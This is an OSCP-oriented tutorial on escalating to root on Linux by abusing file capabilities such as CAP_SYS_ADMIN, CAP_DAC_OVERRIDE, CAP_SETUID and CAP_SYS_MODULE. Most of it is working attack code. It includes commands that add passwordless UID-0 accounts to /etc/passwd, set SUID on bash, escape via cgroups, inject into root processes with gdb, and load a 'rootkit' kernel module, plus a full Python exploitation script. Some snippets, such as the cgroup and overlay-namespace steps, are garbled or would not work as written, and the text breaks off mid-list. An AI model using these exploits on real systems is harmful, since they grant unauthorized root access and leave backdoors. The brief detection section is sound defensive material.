Capability-Based Escalation
Table of Contents
- What Are Linux Capabilities
- Why Capabilities Exist
- Capabilities vs SUID
- Dangerous Capabilities Reference
- Enumerating Capabilities
- CAP_SYS_ADMIN Exploitation
- CAP_DAC_OVERRIDE Exploitation
- CAP_SETUID / CAP_SETGID Exploitation
- CAP_NET_RAW Exploitation
- CAP_DAC_READ_SEARCH Exploitation
- CAP_FOWNER Exploitation
- CAP_SYS_PTRACE Exploitation
- CAP_SYS_MODULE Exploitation
- CAP_NET_BIND_SERVICE and CAP_CHOWN
- Adding Capabilities with setcap
- Python Capability Exploitation
- GTFOBins Capabilities
- Detection and Mitigation
- Exploitation Decision Tree
- OSCP Exam Tips
What Are Linux Capabilities
Definition
Linux capabilities are a mechanism that breaks up the superuser (root) privileges into distinct, granular units. Instead of a binary “root or not” model, capabilities allow a process to have specific elevated permissions without having full root access.
Historical Context
Before capabilities (pre-2.2 kernel), the only way to give a process elevated privileges was the SUID bit:
-rwsr-xr-x 1 root root ... /usr/bin/passwd
^^^ SUID bit set → runs as root
This was an all-or-nothing approach. Setting SUID on a binary gave it ALL root privileges, even if it only needed one specific power.
Capability Model
The capability model divides root power into 41+ distinct capabilities (as of kernel 5.x). Each capability grants a specific privilege:
Root (UID 0) = ALL capabilities combined
Binary with CAP_DAC_OVERRIDE = Can bypass file read/write/execute checks
Binary with CAP_NET_BIND_SERVICE = Can bind to ports < 1024
Binary with CAP_SYS_ADMIN = Can perform system administration operations
...etc
Where Capabilities Live
Capabilities exist in multiple contexts:
| Context | Description | Example |
|---|---|---|
| Permitted | Capabilities the process is allowed to use | Full set available |
| Effective | Capabilities currently active | Subset of permitted |
| Inheritable | Capabilities passed to child processes | Preserved across exec |
| Bounding | Upper limit on permitted set | Cannot exceed this |
| File | Capabilities stored on a binary | Set via setcap |
Why Capabilities Exist
The Problem with SUID Root
Traditional SUID approach:
┌─────────────────────────────────────┐
│ /usr/bin/some_tool (SUID root) │
│ │
│ Needs: Read /etc/shadow │
│ Gets: FULL ROOT ACCESS │
│ │
│ If exploited → Attacker gets root │
└─────────────────────────────────────┘
Capability approach:
┌─────────────────────────────────────┐
│ /usr/bin/some_tool (CAP_DAC_READ_SEARCH) │
│ │
│ Needs: Read /etc/shadow │
│ Gets: Bypass read permissions ONLY │
│ │
│ If exploited → Limited damage │
└─────────────────────────────────────┘
Security Benefits
- Principle of Least Privilege: Processes get only what they need
- Reduced Attack Surface: Exploiting a capability-limited binary is less impactful
- Auditability: Easier to track which specific privilege is being used
- Flexibility: Different binaries can have different capability sets
Capabilities vs SUID
Comparison Table
| Aspect | SUID Root | Capabilities |
|---|---|---|
| Granularity | All-or-nothing | Fine-grained |
| Detection | find -perm -4000 |
getcap -r / |
| Visibility | Obvious (s bit in ls) |
Hidden (need getcap) |
| Risk if exploited | Full root | Depends on capability |
| Persistence | SUID bit on file | Capability stored on file |
| Common in exams | Very common | Increasingly common |
How to Identify Each
# SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Capability binaries
getcap -r / 2>/dev/null
# Both at once
echo "[*] SUID binaries:"
find / -perm -4000 -type f 2>/dev/null
echo "[*] Capability binaries:"
getcap -r / 2>/dev/null
Dangerous Capabilities Reference
Complete Reference Table
| Capability | Privilege | Risk Level | Exploitation Impact |
|---|---|---|---|
CAP_SYS_ADMIN |
System administration (mount, namespace, cgroup) | 🔴 CRITICAL | Full root equivalent |
CAP_DAC_OVERRIDE |
Bypass file read/write/execute permission checks | 🔴 CRITICAL | Read/write any file |
CAP_SETUID |
Set arbitrary UID | 🔴 CRITICAL | Become any user (root) |
CAP_SETGID |
Set arbitrary GID | 🔴 CRITICAL | Become any group |
CAP_SYS_MODULE |
Load/unload kernel modules | 🔴 CRITICAL | Full kernel control |
CAP_DAC_READ_SEARCH |
Bypass file read/search permissions | 🟠 HIGH | Read any file |
CAP_FOWNER |
Bypass permission checks as file owner | 🟠 HIGH | Modify any file |
CAP_SYS_PTRACE |
Trace any process | 🟠 HIGH | Read process memory, inject code |
CAP_NET_RAW |
Use raw sockets | 🟡 MEDIUM | Packet injection, spoofing |
CAP_NET_BIND_SERVICE |
Bind to privileged ports (<1024) | 🟢 LOW | Limited privesc value |
CAP_CHOWN |
Change file ownership arbitrarily | 🟡 MEDIUM | Own any file |
CAP_KILL |
Send signals to any process | 🟡 MEDIUM | Kill/stop any process |
CAP_MKNOD |
Create special device files | 🟡 MEDIUM | Create device nodes |
CAP_SYS_RAWIO |
Raw I/O port access | 🟠 HIGH | Hardware-level access |
CAP_SYS_CHROOT |
Use chroot | 🟢 LOW | Limited value alone |
CAP_SYS_TIME |
Change system clock | 🟢 LOW | Limited value alone |
CAP_LINUX_IMMUTABLE |
Set immutable file attribute | 🟢 LOW | Limited value alone |
CAP_NET_ADMIN |
Network configuration | 🟡 MEDIUM | Modify network settings |
CAP_SYS_BOOT |
Reboot the system | 🟢 LOW | Denial of service |
CAP_SYS_NICE |
Set process priority | 🟢 LOW | Limited value alone |
Risk Classification
🔴 CRITICAL: Direct path to root or equivalent
🟠 HIGH: Significant privilege escalation possible
🟡 MEDIUM: Useful but may require additional steps
🟢 LOW: Limited direct privesc value
Enumerating Capabilities
Primary Enumeration Commands
# ============================================
# 1. Find all binaries with capabilities
# ============================================
getcap -r / 2>/dev/null
# -r = recursive search from /
# Example output:
# /usr/bin/python3.8 cap_dac_override=ep
# /usr/bin/ping cap_net_raw=ep
# /usr/bin/dig cap_net_raw=ep
# /opt/tools/nmap cap_net_raw,cap_net_admin=ep
# ============================================
# 2. Check a specific binary
# ============================================
getcap /usr/bin/python3
getcap /bin/bash
# ============================================
# 3. Check process capabilities
# ============================================
# Get capabilities of current process
cat /proc/self/status | grep -i cap
# Get capabilities of a specific PID
cat /proc/<PID>/status | grep -i cap
# Use getpcaps (if installed)
getpcaps <PID>
getpcaps $$ # Current shell
# ============================================
# 4. Find binaries with specific capabilities
# ============================================
getcap -r / 2>/dev/null | grep cap_sys_admin
getcap -r / 2>/dev/null | grep cap_dac_override
getcap -r / 2>/dev/null | grep cap_setuid
# ============================================
# 5. Comprehensive capability enumeration
# ============================================
echo "[*] Searching for binaries with capabilities..."
getcap -r / 2>/dev/null | while read line; do
binary=$(echo "$line" | awk '{print $1}')
caps=$(echo "$line" | cut -d' ' -f2-)
echo " Binary: $binary"
echo " Capabilities: $caps"
echo " Permissions: $(ls -la "$binary" 2>/dev/null)"
echo " Writable: $(test -w "$binary" && echo YES || echo NO)"
echo "---"
done
Understanding Capability Flags
The =ep suffix in getcap output indicates which capability sets are affected:
| Flag | Set | Description |
|---|---|---|
p |
Permitted | Process can use this capability |
e |
Effective | Capability is currently active |
i |
Inheritable | Passed to child processes |
P |
Permitted (file) | Stored on the file |
E |
Effective (file) | Activated on exec |
I |
Inheritable (file) | Inherited by children |
Common patterns:
cap_dac_override=ep → Effective + Permitted (most common, most dangerous)
cap_net_raw=p → Permitted only (less dangerous)
cap_setuid=epi → Effective + Permitted + Inheritable
Decoding Capability Hex Values
# The /proc/<pid>/status shows capabilities in hex
# Example: CapEff: 00000000a80435fb
# Decode with capsh (from libcap2-bin)
capsh --decode=00000000a80435fb
# Or use Python
python3 -c "
import subprocess
result = subprocess.run(['capsh', '--decode=00000000a80435fb'], capture_output=True, text=True)
print(result.stdout)
"
# Manual decode reference:
# Bit 0 = CAP_CHOWN
# Bit 1 = CAP_DAC_OVERRIDE
# Bit 2 = CAP_DAC_READ_SEARCH
# Bit 3 = CAP_FOWNER
# Bit 4 = CAP_FSETID
# Bit 5 = CAP_KILL
# Bit 6 = CAP_SETGID
# Bit 7 = CAP_SETUID
# Bit 8 = CAP_SETPCAP
# Bit 9 = CAP_LINUX_IMMUTABLE
# Bit 10 = CAP_NET_BIND_SERVICE
# Bit 11 = CAP_NET_BROADCAST
# Bit 12 = CAP_NET_ADMIN
# Bit 13 = CAP_NET_RAW
# Bit 14 = CAP_IPC_LOCK
# Bit 15 = CAP_IPC_OWNER
# Bit 16 = CAP_SYS_MODULE
# Bit 17 = CAP_SYS_RAWIO
# Bit 18 = CAP_SYS_CHROOT
# Bit 19 = CAP_SYS_PTRACE
# Bit 20 = CAP_SYS_PACCT
# Bit 21 = CAP_SYS_ADMIN
# Bit 22 = CAP_SYS_BOOT
# Bit 23 = CAP_SYS_NICE
# Bit 24 = CAP_SYS_RESOURCE
# Bit 25 = CAP_SYS_TIME
# Bit 26 = CAP_SYS_TTY_CONFIG
# Bit 27 = CAP_MKNOD
# Bit 28 = CAP_LEASE
# Bit 29 = CAP_AUDIT_WRITE
# Bit 30 = CAP_AUDIT_CONTROL
# Bit 31 = CAP_SETFCAP
CAP_SYS_ADMIN Exploitation
Overview
CAP_SYS_ADMIN is the most dangerous capability. It’s essentially a “Swiss Army knife” that grants many administrative powers, including:
- Mount/unmount filesystems
- Create and manage namespaces
- Modify cgroups
- Perform sysctl operations
- Use privileged IPC operations
- Set up network namespaces
- Perform many other system administration tasks
Why It’s So Dangerous
CAP_SYS_ADMIN ≈ Root minus a few capabilities
It can:
✓ Mount filesystems (access any data)
✓ Create user namespaces (UID mapping)
✓ Modify cgroups (resource control)
✓ Use ptrace on any process (with CAP_SYS_PTRACE overlap)
✓ Perform keyctl operations
✓ And many more...
Exploitation Method 1: Namespace Escape via Mount
# If a binary has CAP_SYS_ADMIN, you can mount filesystems
# Step 1: Mount the root filesystem to access /etc/shadow
mkdir -p /tmp/mnt
mount -o bind / /tmp/mnt
# Now you can read any file
cat /tmp/mnt/etc/shadow
# Step 2: Write to any file
echo 'pwned::0:0::/root:/bin/bash' >> /tmp/mnt/etc/passwd
# Step 3: Switch to new root account
su - pwned
Exploitation Method 2: User Namespace Escape
# Create a user namespace where you're root
# Then use it to escape
# Step 1: Create a user namespace
unshare --user --map-root-user bash
# Inside the namespace, you're root
id
# uid=0(root) gid=0(root)
# Step 2: Mount from within namespace
mount -t overlay overlay -o lowerdir=/,upperdir=/tmp/upper,workdir=/tmp/work /mnt
# Step 3: Write SUID binary
echo '#!/bin/sh' > /mnt/tmp/suidroot
echo '/bin/bash -p' >> /mnt/tmp/suidroot
chmod +s /mnt/tmp/suidroot
# Step 4: Exit namespace and execute
exit
/tmp/suidroot
Exploitation Method 3: Cgroup Escape
# Use cgroup freeze/thaw to escape
# Step 1: Find writable cgroup path
ls -la /sys/fs/cgroup/
# Step 2: If you can write to cgroup, create escape
mkdir -p /sys/fs/cgroup/release_agent/
echo 1 > /sys/fs/cgroup/release_agent/release
# Step 3: Set release agent to your payload
echo '/tmp/escape.sh' > /sys/fs/cgroup/release_agent/release_agent
# Step 4: Create payload
echo '#!/bin/bash' > /tmp/escape.sh
echo 'cp /bin/bash /tmp/rootbash' >> /tmp/escape.sh
echo 'chmod +s /tmp/rootbash' >> /tmp/escape.sh
chmod +x /tmp/escape.sh
# Step 5: Trigger cgroup release
echo 1 > /sys/fs/cgroup/release_agent/notify_on_release
mkdir /sys/fs/cgroup/release_agent/trigger
rmdir /sys/fs/cgroup/release_agent/trigger
# This triggers the release agent as root!
Exploitation Method 4: Python with CAP_SYS_ADMIN
#!/usr/bin/env python3
# If python3 has CAP_SYS_ADMIN
import os
import ctypes
import ctypes.util
# Method 1: Mount filesystem
os.makedirs('/tmp/mnt', exist_ok=True)
os.mount('/', '/tmp/mnt', 'none', os.MS_BIND, '')
# Now read /etc/shadow
with open('/tmp/mnt/etc/shadow', 'r') as f:
print(f.read())
# Method 2: Use setns for namespace manipulation
LIBC = ctypes.CDLL(ctypes.util.find_library('c'), use_errno=True)
# Clone with new namespace
CLONE_NEWNS = 0x00020004
# ... namespace manipulation code
Testing for CAP_SYS_ADMIN
# Check if a binary has CAP_SYS_ADMIN
getcap /usr/bin/python3
# /usr/bin/python3 cap_sys_admin=ep
# Test mount capability
python3 -c "import os; os.mount('/', '/tmp/mnt', 'none', os.MS_BIND, '')"
# If no error → CAP_SYS_ADMIN is present and usable
CAP_DAC_OVERRIDE Exploitation
Overview
CAP_DAC_OVERRIDE allows a process to bypass file read, write, and execute permission checks. DAC = Discretionary Access Control.
Impact
With CAP_DAC_OVERRIDE, you can:
✓ Read any file (including /etc/shadow, /etc/passwd)
✓ Write to any file
✓ Execute any file regardless of permissions
Exploitation Walkthrough
Step 1: Identify the Binary
getcap -r / 2>/dev/null | grep cap_dac_override
# /usr/bin/python3.8 cap_dac_override=ep
# /usr/bin/vim.basic cap_dac_override=ep
Step 2: Read Sensitive Files
# Using Python
python3.8 -c "print(open('/etc/shadow').read())"
# Using Vim
vim.basic /etc/shadow
# Using any binary with this capability
/path/to/capable_binary -c "cat /etc/shadow"
Step 3: Write to Protected Files
# Add a root user to /etc/passwd
python3.8 -c "
import pwd
line = 'pwned::0:0::/root:/bin/bash\n'
with open('/etc/passwd', 'a') as f:
f.write(line)
"
# Then switch to the new root user
su - pwned
# (no password needed, UID 0)
Step 4: Overwrite /etc/shadow
# Generate a new password hash
python3.8 -c "
import crypt
hash = crypt.crypt('password123', '\$6\$salt\$')
print(f'pwned:{hash}:19000:0:99999:7:::')
"
# Write to shadow file
python3.8 -c "
with open('/etc/shadow', 'w') as f:
f.write('pwned:\$6\$salt\$hash:19000:0:99999:7:::\n')
# ... preserve other entries
"
Step 5: Install Backdoor SUID Binary
python3.8 -c "
import shutil, os
shutil.copy('/bin/bash', '/tmp/rootbash')
os.chmod('/tmp/rootbash', 0o4755) # SUID + rwxr-xr-x
"
/tmp/rootbash -p
# Root shell!
Common Binaries with CAP_DAC_OVERRIDE
# Check for these common targets:
getcap /usr/bin/python* 2>/dev/null
getcap /usr/bin/vim* 2>/dev/null
getcap /usr/bin/nmap 2>/dev/null
getcap /usr/bin/find 2>/dev/null
getcap /usr/bin/less 2>/dev/null
getcap /usr/bin/more 2>/dev/null
CAP_SETUID / CAP_SETGID Exploitation
CAP_SETUID
Allows a process to arbitrarily change its UID (User ID).
# If a binary has CAP_SETUID:
# Method 1: Python
python3 -c "
import os
os.setuid(0)
os.system('/bin/bash -p')
"
# Method 2: Direct shell (if shell has the capability)
# (rare, but possible)
id -u # Check current UID
# Use setuid(0) via capable binary
CAP_SETGID
Allows a process to arbitrarily change its GID (Group ID).
# If a binary has CAP_SETGID:
python3 -c "
import os
os.setgid(0) # Set GID to root
os.setuid(0) # If also has CAP_SETUID
os.system('/bin/bash -p')
"
Combined Exploitation
# Binary has both CAP_SETUID and CAP_SETGID
python3 -c "
import os, pty
os.setgid(0)
os.setuid(0)
os.environ['HOME'] = '/root'
os.chdir('/root')
pty.spawn('/bin/bash')
"
Verification
# Check for these capabilities
getcap -r / 2>/dev/null | grep -E 'cap_setuid|cap_setgid'
# Test if it works
python3 -c "import os; os.setuid(0); print('Success! UID:', os.getuid())"
CAP_NET_RAW Exploitation
Overview
CAP_NET_RAW allows the use of raw sockets and packet injection. While not directly leading to root, it enables:
- ARP spoofing/poisoning
- Packet sniffing
- Network reconnaissance
- Man-in-the-middle attacks
Common Binaries
# These commonly have CAP_NET_RAW:
getcap /usr/bin/ping
getcap /usr/bin/dig
getcap /usr/bin/nmap
getcap /usr/bin/tcpdump
# Typical output:
# /usr/bin/ping cap_net_raw=ep
# /usr/bin/dig cap_net_raw=ep
Exploitation: ARP Spoofing
# If you have a binary with CAP_NET_RAW, you can do ARP attacks
# Using Python
python3 -c "
import socket
import struct
# Create raw socket
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
# Craft and send packets
# This allows ARP spoofing, packet injection, etc.
"
Exploitation: Network Sniffing
# Use raw sockets to sniff traffic
python3 -c "
import socket
# Create raw socket that captures all traffic
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0003))
while True:
packet = sock.recvfrom(65565)
print(packet[0])
"
Privesc Relevance
While CAP_NET_RAW alone doesn’t give root, it can:
- Capture credentials from unencrypted protocols
- Perform MITM to intercept sensitive data
- Discover internal services for lateral movement
- Combine with other vectors for full exploitation
CAP_DAC_READ_SEARCH Exploitation
Overview
CAP_DAC_READ_SEARCH allows bypassing file read permissions and directory search permissions.
Impact
With CAP_DAC_READ_SEARCH, you can:
✓ Read any file on the system
✓ Search any directory (bypass execute permission on dirs)
✓ Cannot write (unlike CAP_DAC_OVERRIDE)
Exploitation
# Read /etc/shadow
python3 -c "print(open('/etc/shadow').read())"
# Read any user's files
python3 -c "print(open('/root/.ssh/id_rsa').read())"
# Search directories you normally can't access
python3 -c "
import os
for f in os.listdir('/root'):
print(f)
"
# Read database credentials
python3 -c "print(open('/var/www/app/config.php').read())"
Limitations
CAP_DAC_READ_SEARCH:
✓ Can READ any file
✗ Cannot WRITE to files
✗ Cannot CHANGE ownership
✗ Cannot EXECUTE restricted files
This makes it less powerful than CAP_DAC_OVERRIDE for privesc,
but still valuable for information gathering.
CAP_FOWNER Exploitation
Overview
CAP_FOWNER causes the kernel to bypass permission checks requiring the caller’s UID match the file’s UID. This effectively lets you act as the owner of any file.
Impact
With CAP_FOWNER, you can:
✓ Modify file ownership-related permissions
✓ Set/remove SUID/SGID bits
✓ Modify ACLs
✓ Delete files you don't own (in some cases)
Exploitation
# Set SUID bit on /bin/bash
python3 -c "
import os, stat
os.chmod('/bin/bash', stat.S_ISUID | 0o755)
"
# Now use SUID bash
/bin/bash -p
id
# uid=1000(user) gid=1000(user) euid=0(root)
# Or create a new SUID binary
python3 -c "
import shutil, os, stat
shutil.copy('/bin/sh', '/tmp/suidsh')
os.chmod('/tmp/suidsh', stat.S_ISUID | 0o755)
"
CAP_SYS_PTRACE Exploitation
Overview
CAP_SYS_PTRACE allows a process to trace (debug) any other process using ptrace().
Exploitation Methods
Method 1: Read Process Memory
# Use gdb on a root process
gdb -p <PID_of_root_process>
# Inside gdb:
(gdb) call system("/bin/bash")
# If the traced process is root, this gives root shell
# Or read memory:
(gdb) x/s 0x<address_of_password_in_memory>
Method 2: Inject Code into Root Process
# Find a root process
ps aux | grep root
# Attach with ptrace-capable binary
python3 -c "
import ctypes, ctypes.util, os
libc = ctypes.CDLL(ctypes.util.find_library('c'))
# PTRACE_ATTACH = 16
# Attach to root process
pid = <root_process_pid>
ret = libc.ptrace(16, pid, None, None)
# Now you can read/modify the process
# PTRACE_POKETEXT = 5
# Inject shellcode, etc.
"
Method 3: Using gdb Directly
# If gdb has CAP_SYS_PTRACE
gdb -p 1 # Attach to init (PID 1)
(gdb) call (int)system("/bin/bash -p")
# Root shell!
# Or:
(gdb) call (int)chroot("/")
(gdb) call (int)setsid()
(gdb) call (int)execve("/bin/bash", 0, 0)
CAP_SYS_MODULE Exploitation
Overview
CAP_SYS_MODULE allows loading and unloading kernel modules. This is essentially equivalent to root access.
Exploitation: Load Malicious Kernel Module
# Step 1: Create a rootkit kernel module
cat > /tmp/rootkit.c << 'EOF'
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/kmod.h>
static char *password = "changeme";
module_param(password, charp, 0000);
static int __init rootkit_init(void) {
// Execute command as root
call_usermodehelper("/bin/bash",
(char*[]){"/bin/bash", "-c",
"cp /bin/bash /tmp/rbash && chmod +s /tmp/rbash",
NULL},
NULL, UMH_WAIT_PROC);
return 0;
}
static void __exit rootkit_exit(void) {
}
module_init(rootkit_init);
module_exit(rootkit_exit);
MODULE_LICENSE("GPL");
EOF
# Step 2: Compile (need kernel headers)
make -C /lib/modules/\$(uname -r)/build M=\$(pwd) modules
# Step 3: Load the module
insmod rootkit.ko
# Step 4: Use the SUID binary
/tmp/rbash
Simpler Method: Using Existing Tools
# If you have CAP_SYS_MODULE, just load a known rootkit
# Or use the built-in capability:
python3 -c "
import os
os.system('insmod /path/to/module.ko')
"
CAP_NET_BIND_SERVICE and CAP_CHOWN
CAP_NET_BIND_SERVICE
Allows binding to privileged ports (< 1024). Limited privesc value but useful for:
# Run a web server on port 80
python3 -c "
from http.server import HTTPServer, SimpleHTTPRequestHandler
server = HTTPServer(('0.0.0.0', 80), SimpleHTTPRequestHandler)
server.serve_forever()
"
CAP_CHOWN
Allows changing file ownership arbitrarily:
# Change ownership of /etc/passwd to your user
python3 -c "
import os
os.chown('/etc/passwd', os.getuid(), os.getgid())
"
# Now you can modify /etc/passwd
echo 'pwned::0:0::/root:/bin/bash' >> /etc/passwd
su - pwned
Adding Capabilities with setcap
Syntax
# Set a capability on a binary
setcap cap_dac_override=ep /usr/bin/python3
setcap cap_sys_admin=ep /usr/bin/python3
setcap cap_setuid,cap_setgid=ep /usr/bin/python3
# Remove all capabilities
setcap -r /usr/bin/python3
# View capabilities
getcap /usr/bin/python3
Common Capability Assignments
# Give Python DAC_OVERRIDE
setcap cap_dac_override=ep /usr/bin/python3.8
# Give a custom binary SYS_ADMIN
setcap cap_sys_admin=ep /opt/tools/myapp
# Give multiple capabilities
setcap cap_dac_override,cap_sys_admin=ep /usr/bin/python3
# Give NET_RAW to a networking tool
setcap cap_net_raw=ep /usr/bin/custom_scanner
Verification
# Verify the capability was set
getcap /usr/bin/python3.8
# /usr/bin/python3.8 cap_dac_override=ep
# Test it works
python3.8 -c "print(open('/etc/shadow').read())"
Python Capability Exploitation
Comprehensive Python Exploitation Script
#!/usr/bin/env python3
"""
Capability Exploitation Framework
Detects and exploits Linux capabilities for privilege escalation
"""
import os
import sys
import subprocess
import ctypes
import ctypes.util
import pty
def check_capabilities():
"""Check what capabilities the current process has"""
try:
with open('/proc/self/status', 'r') as f:
for line in f:
if line.startswith('Cap'):
print(line.strip())
except:
pass
def exploit_dac_override():
"""Exploit CAP_DAC_OVERRIDE"""
print("[*] Attempting CAP_DAC_OVERRIDE exploitation...")
try:
# Read /etc/shadow
with open('/etc/shadow', 'r') as f:
shadow = f.read()
print("[+] Successfully read /etc/shadow!")
print(shadow)
# Add root user
with open('/etc/passwd', 'a') as f:
f.write('backdoor::0:0::/root:/bin/bash\n')
print("[+] Added backdoor user to /etc/passwd")
return True
except PermissionError:
print("[-] CAP_DAC_OVERRIDE not available")
return False
def exploit_setuid():
"""Exploit CAP_SETUID"""
print("[*] Attempting CAP_SETUID exploitation...")
try:
os.setuid(0)
if os.getuid() == 0:
print("[+] Successfully set UID to 0!")
os.environ['HOME'] = '/root'
os.chdir('/root')
pty.spawn('/bin/bash')
return True
except (PermissionError, OSError):
print("[-] CAP_SETUID not available")
return False
def exploit_sys_admin_mount():
"""Exploit CAP_SYS_ADMIN via mount"""
print("[*] Attempting CAP_SYS_ADMIN mount exploitation...")
try:
os.makedirs('/tmp/mnt_root', exist_ok=True)
os.mount('/', '/tmp/mnt_root', 'none', os.MS_BIND, '')
print("[+] Successfully mounted root filesystem!")
# Read shadow
with open('/tmp/mnt_root/etc/shadow', 'r') as f:
print(f.read())
# Write to passwd
with open('/tmp/mnt_root/etc/passwd', 'a') as f:
f.write('backdoor::0:0::/root:/bin/bash\n')
print("[+] Added backdoor user!")
return True
except (PermissionError, OSError) as e:
print(f"[-] CAP_SYS_ADMIN mount failed: {e}")
return False
def main():
print("=== Capability Exploitation Framework ===\n")
check_capabilities()
print()
# Try each exploitation method
exploit_dac_override()
print()
exploit_setuid()
print()
exploit_sys_admin_mount()
if __name__ == '__main__':
main()
One-Liner Exploits
# CAP_DAC_OVERRIDE: Read shadow
python3 -c "print(open('/etc/shadow').read())"
# CAP_DAC_OVERRIDE: Add root user
python3 -c "open('/etc/passwd','a').write('b::0:0::/root:/bin/bash\n')"
# CAP_SETUID: Become root
python3 -c "import os,pty; os.setuid(0); pty.spawn('/bin/bash')"
# CAP_SYS_ADMIN: Mount escape
python3 -c "import os; os.makedirs('/tmp/m',exist_ok=True); os.mount('/','/tmp/m','none',os.MS_BIND,''); print(open('/tmp/m/etc/shadow').read())"
# CAP_FOWNER: Set SUID
python3 -c "import os,stat; os.chmod('/bin/bash',stat.S_ISUID|0o755)"
GTFOBins Capabilities
GTFOBins Capability Section
GTFOBins (https://gtfobins.github.io) has a dedicated section for capability-based exploitation. Key entries:
| Binary | Required Capability | Exploitation |
|---|---|---|
python3 |
cap_dac_override |
Read/write any file |
python3 |
cap_sys_admin |
Mount escape |
python3 |
cap_setuid |
os.setuid(0) |
vim |
cap_dac_override |
:!/bin/bash |
nmap |
cap_dac_override |
--interactive then !sh |
find |
cap_dac_override |
find . -exec /bin/bash \; |
less |
cap_dac_override |
!/bin/bash |
nano |
cap_dac_override |
^R^X then shell |
bash |
cap_setuid |
bash -p preserves capabilities |
Common GTFOBins Capability Exploits
# Python with any dangerous capability
python3 -c "import os; os.setuid(0); os.system('/bin/bash -p')"
# Vim with CAP_DAC_OVERRIDE
vim /etc/shadow
# Then: :!/bin/bash
# Nmap with interactive mode
nmap --interactive
nmap> !sh
# Find with exec
find / -name foo -exec /bin/bash -p \; -quit
# Less with shell escape
less /etc/shadow
!/bin/bash
Detection and Mitigation
Detection
# ============================================
# Automated Detection
# ============================================
# Find all binaries with capabilities
getcap -r / 2>/dev/null
# Find binaries with dangerous capabilities
getcap -r / 2>/dev/null | grep -E 'cap_sys_admin|cap_dac_override|cap_setuid|cap_setgid'
# Check if common binaries have unexpected capabilities
for bin in python3 python3.8 python3.9 vim nmap find less more nano bash sh; do
cap=$(getcap /usr/bin/$bin 2>/dev/null)
if [ -n "$cap" ]; then
echo "[!] $bin has capabilities: $cap"
fi
done
# Check process capabilities
cat /proc/self/status | grep Cap
# ============================================
# Audit Scripts
# ============================================
# Comprehensive capability audit
echo "=== Capability Audit ==="
echo "[*] Binaries with capabilities:"
getcap -r / 2>/dev/null
echo ""
echo "[*] Dangerous capabilities found:"
getcap -r / 2>/dev/null | grep -iE 'sys_admin|dac_override|setuid|setgid|sys_module'
echo ""
echo "[*] Current process capabilities:"
cat /proc/self/status | grep -i cap
Mitigation
| Mitigation | Description |
|---|---|
| Remove unnecessary capabilities | setcap -r /path/to/binary |
| Use minimal capabilities | Assign only what’s needed, not cap_sys_admin |
| Regular audits | Schedule getcap -r / checks |
| File integrity monitoring | Alert on capability changes |
| AppArmor/SELinux | Additional mandatory access control |
| NoNewPrivs | Set prctl(PR_SET_NO_NEW_PRIVS, 1) in containers |
| Capability bounding set | Limit maximum capabilities |
Secure Capability Assignment
# BAD: Giving too much power
setcap cap_sys_admin=ep /usr/bin/myapp
# GOOD: Giving minimal required capability
setcap cap_net_bind_service=ep /usr/bin/myapp
# GOOD: Using multiple specific capabilities instead of sys_admin
setcap cap_dac_read_search,cap_fowner=ep /usr/bin/myapp
Exploitation Decision Tree
Found binary with capabilities (getcap -r /)
│
├─ Has CAP_SYS_ADMIN?
│ ├─ YES → Mount escape / Namespace escape / Cgroup escape
│ └─ NO ↓
│
├─ Has CAP_DAC_OVERRIDE?
│ ├─ YES → Read /etc/shadow, write /etc/passwd, install SUID binary
│ └─ NO ↓
│
├─ Has CAP_SETUID?
│ ├─ YES → os.setuid(0) → root shell
│ └─ NO ↓
│
├─ Has CAP_SETGID?
│ ├─ YES → os.setgid(0) + setuid(0) if available
│ └─ NO ↓
│
├─ Has CAP_SYS_MODULE?
│ ├─ YES → Load kernel module → root
│ └─ NO ↓
│
├─ Has CAP_SYS_PTRACE?
│ ├─ YES → ptrace root process → inject code
│ └─ NO ↓
│
├─ Has CAP_DAC_READ_SEARCH?
│ ├─ YES → Read sensitive files (info gathering)
│ └─ NO ↓
│
├─ Has CAP_FOWNER?
│ ├─ YES → Set SUID on /bin/bash
│ └─ NO ↓
│
├─ Has CAP_CHOWN?
│ ├─ YES → chown /etc/passwd → modify it
│ └─ NO ↓
│
└─ Has CAP_NET_RAW?
└─ Use for network attacks (not direct privesc)
OSCP Exam Tips
Why Capabilities Matter on OSCP
- Often Overlooked: Many candidates only check SUID and miss capabilities entirely
- Quick Win:
getcap -r / 2>/dev/nulltakes seconds but can reveal the privesc path - Growing Prevalence: Modern machines use capabilities more frequently
- Python is Key: Python with capabilities is a common OSCP scenario
Essential Commands to Memorize
# The ONE command that finds everything
getcap -r / 2>/dev/null
# Check specific binaries
getcap /usr/bin/python3
getcap /usr/bin/vim
# Process capabilities
cat /proc/self/status | grep Cap
Common OSCP Capability Scenarios
| Scenario | Binary | Capability | Exploitation |
|---|---|---|---|
| Python with DAC_OVERRIDE | /usr/bin/python3.8 |
cap_dac_override=ep |
Read shadow, write passwd |
| Python with SYS_ADMIN | /usr/bin/python3 |
cap_sys_admin=ep |
Mount escape |
| Vim with DAC_OVERRIDE | /usr/bin/vim.basic |
cap_dac_override=ep |
:!/bin/bash |
| Nmap with DAC_OVERRIDE | /usr/bin/nmap |
cap_dac_override=ep |
--interactive → !sh |
| Custom binary | /opt/app/tool |
cap_setuid=ep |
os.setuid(0) |
Enumeration Checklist
□ Run: getcap -r / 2>/dev/null
□ Check: getcap /usr/bin/python*
□ Check: getcap /usr/bin/vim*
□ Check: getcap /usr/bin/nmap
□ Check: cat /proc/self/status | grep Cap
□ For each capable binary: Check GTFObins
□ Test: Can the binary read /etc/shadow?
□ Test: Can the binary write to /etc/passwd?
Python One-Liners for Exams
# Read shadow (DAC_OVERRIDE)
python3 -c "print(open('/etc/shadow').read())"
# Add root user (DAC_OVERRIDE)
python3 -c "open('/etc/passwd','a').write('b::0:0::/root:/bin/bash\n')"
# Become root (SETUID)
python3 -c "import os,pty; os.setuid(0); pty.spawn('/bin/bash')"
# Mount escape (SYS_ADMIN)
python3 -c "import os; os.mount('/','/tmp/m','none',os.MS_BIND,''); print(open('/tmp/m/etc/shadow').read())"
# Set SUID (FOWNER)
python3 -c "import os,stat; os.chmod('/bin/bash',stat.S_ISUID|0o755)"
Remember
“Always run
getcap -r / 2>/dev/nullduring Linux enumeration. It takes 5 seconds and can be the difference between solving a box and being stuck.”
Capability vs SUID Priority
When enumerating, check in this order:
- SUID binaries (
find -perm -4000) - Most common - Capabilities (
getcap -r /) - Increasingly common - SGID binaries (
